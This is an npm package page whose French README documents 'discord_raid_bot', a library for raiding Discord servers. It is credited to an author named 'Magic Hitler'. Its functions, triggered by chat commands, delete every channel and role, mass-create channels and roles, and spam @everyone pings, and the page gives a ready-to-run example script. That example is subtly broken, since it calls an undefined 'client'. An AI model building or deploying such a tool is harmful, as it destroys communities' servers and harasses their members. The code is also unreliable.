discord_raid_bot
v1.0.3
Published
A complete discord raid bot
Downloads
10
Readme
Magic Hitler
Discord Raid Bot 1.0.2
Sommaire
1 - Installation
2 - Utilisation
1 - Installation
Pour installer Discord Raid Bot, éxecutez simplement la commande
npm install discord_raid_bot
dans le dossier de votre application Node.Js.
2 - Utilisation
Pour utiliser Discord Raid Bot, intégrez la ligne suivante à votre code :
const raid = require('discord_raid_bot');
raid.deleteAllChannels(client, trigger, createChannel)
Supprime tous les salons du serveur. | Paramètre | Type | Description | | -------------- | --------- | ------------- | | client | class | Votre bot | | trigger | string | Commande à envoyer dans le serveur à détruire | | createChannel | boolean | Crée un salon quand tous les autres sont supprimés si activé | ex :
raid.deleteAllChannels(bot, "supprimer les salons", true);
raid.createChannels(client, trigger, numberOfChannelsToCreate, nameOfChannelsToCreate, MessageToSpamInNewChannels, numberOfNotificationsPerChannel)
Supprime tous les salons du serveur puis en crée d'autres en spammant dedans. | Paramètre | Type | Description | | -------------- | --------- | ------------- | | client | class | Votre bot | | trigger | string | Commande à envoyer dans le serveur à détruire | | numberOfChannelsToCreate | int | Le nombre multiplié par 2 de salons qui seront créés dans le serveur | | nameOfChannelsToCreate | string | Le nom des salons qui seront créés dans le serveur | | MessageToSpamInNewChannels | string | Les messages qui seront envoyés dans chaque salon créé dans le serveur | | numberOfNotificationsPerChannel | int | Nombre de messages envoyés dans chaque salon | ex :
raid.createChannels(bot, "créer des salons", 444, "salon-créé", "@everyone message envoyé", 3);
raid.deleteRoles(client, trigger)
Supprime tous les rôles supprimables dans le serveur. | Paramètre | Type | Description | | -------------- | --------- | ------------- | | client | class | Votre bot | | trigger | string | Commande à envoyer dans le serveur à détruire | ex :
raid.deleteRoles(bot, "supprimer les rôles")
raid.createRoles(client, trigger, nameOfRolesToCreate, NumberOfRolesToCreate)
Créer des rôles dans le serveur. | Paramètre | Type | Description | | -------------- | --------- | ------------- | | client | class | Votre bot | | trigger | string | Commande à envoyer dans le serveur à détruire | | nameOfRolesToCreate | string | Nom des rôles à créer | | NumberOfRolesToCreate | int | Nombre de rôles à créér | ex :
raid.createRoles(bot, "créer des rôles", "nom des rôles", 42)
Exemple complet
const raid = require('discord_raid_bot');
const Discord = require('discord.js');
const bot = new Discord.Client();
const config = require('./config.json');
raid.deleteAllChannels(bot, "!suppr_chnls", true);
raid.createChannels(bot, "!spam_chnls", 222, "raid", "@everyone", 6)
raid.deleteRoles(bot, "!kill_rls")
raid.createRoles(bot, "!create_rls", 'raid', 25)
client.login(config.token);
Plus de 100 lignes de codes résumées en 10.